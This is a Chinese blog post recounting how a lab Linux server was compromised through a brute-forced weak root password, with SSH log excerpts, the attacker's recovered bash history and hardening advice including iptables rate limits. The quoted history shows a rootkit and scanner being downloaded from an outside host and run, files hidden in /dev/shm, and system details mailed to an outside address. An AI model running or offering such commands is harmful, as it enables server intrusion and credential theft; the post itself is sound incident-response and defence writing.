IT博客汇
  • 首页
  • 精华
  • 技术
  • 设计
  • 资讯
  • 扯淡
  • 权利声明
  • 登录 注册

    由一次ls错误发现的服务器入侵

    zhpengg发表于 2012-04-09 04:00:00
    love 0

    实验室有几台linux服务器,有的用来做项目开发和测试,有的用来做代码库和知识共享。服务器都是直接接入教育网,理论上分配到的IP地址都是公网地址。但是考虑到教育网与公网之间的访问障碍以及有伟大的校长保护,对服务器的安全配置也就没怎么在意,iptables神马的都是默认配置。另外因为服务器地址都是通过DHCP获得的,为了方便实验室同学访问,给每台机器都绑定了dynamic dns。一直以来运行的都非常好,直到清明假期过后。 清明假期过后像往常一样登陆到开发服务器上,偶然发现ls命令显示有点问题:

    ls: unrecognized prefix: do  
    ls: unparsable value for LS_COLORS environment variable.  
    

    开始以为有谁动了我的bash配置文件,检查之后没发现问题。后来google了一下这条出错信息,找到这两个页面:Link1, Link2。考虑到那个悲催&弱智的root密码,看来服务器是被hack了==#

    首先看下ssh登陆记录,redhat系的ssh记录在/var/log/secure,debian系的记录在/var/log/auth.log。发现了大量的ssh登陆错误的记录:

    # cat /var/log/secure | grep "sshd" | grep "Failed"
    Apr  4 12:09:45 localhost sshd[624]: Failed password for root from 113.108.237.70 port 51590 ssh2  
    Apr  4 12:09:49 localhost sshd[1683]: Failed password for root from 113.108.237.70 port 51932 ssh2  
    Apr  4 12:09:52 localhost sshd[2505]: Failed password for root from 113.108.237.70 port 52254 ssh2  
    Apr  4 12:09:55 localhost sshd[3497]: Failed password for root from 113.108.237.70 port 52531 ssh2  
    Apr  4 12:09:59 localhost sshd[4651]: Failed password for root from 113.108.237.70 port 52846 ssh2  
    Apr  4 12:10:03 localhost sshd[5444]: Failed password for root from 113.108.237.70 port 53197 ssh2  
    Apr  4 12:10:06 localhost sshd[6651]: Failed password for root from 113.108.237.70 port 53539 ssh2  
    Apr  4 12:10:12 localhost sshd[7839]: Failed password for root from 113.108.237.70 port 53791 ssh2  
    Apr  4 12:10:15 localhost sshd[9028]: Failed password for root from 113.108.237.70 port 54368 ssh2  
    Apr  4 12:10:19 localhost sshd[9834]: Failed password for root from 113.108.237.70 port 54649 ssh2  
    ...
    ...
    

    可以断定是弱智的root密码被爆破了==!然后再切到root账户,用命令history查看bash history,还好记录没有被清除:D,在历史记录的最下边看到如下记录:

    w  
    uname -a  
    cd /tmp  
    ls -a  
    wget http://redhack.biz/archive/rks  
    tar xvf rks  
    cd .sshd/  
    ls -a  
    ./setup  cacat123
    nmap 59.64.133.135  
    ls -a  
    w  
    screen -r  
    ps x  
    cat /etc/passwd  
    cat /proc/cpuinfo  
    php -v  
    w  
    last -20  
    ps aux  
    cd /dev/shm  
    ls -a  
    dir  
    mkdir " "  
    cd " "  
    wget http://redhack.biz/archive/usascan.jpg  
    tar xvf usascan.jpg  
    cd usascan  
    ls -a  
    nano kas  
    id|mail -s "test" ForeverSuKy@yahoo.com  
    nohup ./kas 94 >> /dev/null &  
    w  
    exit  
    

    按照上边的链接下载回来分析,一个是后门程序一个是弱密码扫描器。后门程序替换掉了系统中的几个重要的程序,包括:ls, ps, top等等。这也是为什么我在执行ls的时候显示不正常,执行netstat时直接coredump的原因。后边的扫描器会根据自带的地址表和弱密码表破解pop3服务器,然后将破解到的密码发送到一个邮箱中,这个简单的爆破工具居然是php写的。顺便查了一下上边的域名注册信息,注册地址显示的是西班牙。好在机器上没有啥重要信息,而且发现的比较及时,没造成什么问题。也没有闲工夫去继续追查攻击者了,直接重装系统完事。

    总结

    1. 服务器root账户用弱密码是个很SB的事情!甚至都没有必要在服务器上开启root账户。这一点debian系的发行版做的就好,默认都是锁住root账户的。从实验室另一台debian服务器的ssh log中可以看到,同样有大量暴力破解记录,但是因为root是被锁住的,所以都没有成功。

    2. SSHD默认开22端口没问题,但是一旦开了默认端口,那么必须配合iptables限制访问数量,防止暴力破解。网上找的一段iptables配置规则,每分钟至多允许三条ssh连接,一旦超过之后,客户端的连接将会在下一分钟内全部被拒绝。

    iptables -A INPUT -p tcp --dport 22 -m state --state NEW -m recent --set \  
     --name SSH -j ACCEPT
    iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 --hitcount 4 --rttl \  
     --name SSH -j LOG --log-prefix "SSH_brute_force "
    iptables -A INPUT -p tcp --dport 22 -m recent --update --seconds 60 \  
     --hitcount 4 --rttl --name SSH -j DROP
    

    这里有更多参考,来防止sshd被破解。



沪ICP备19023445号-2号
友情链接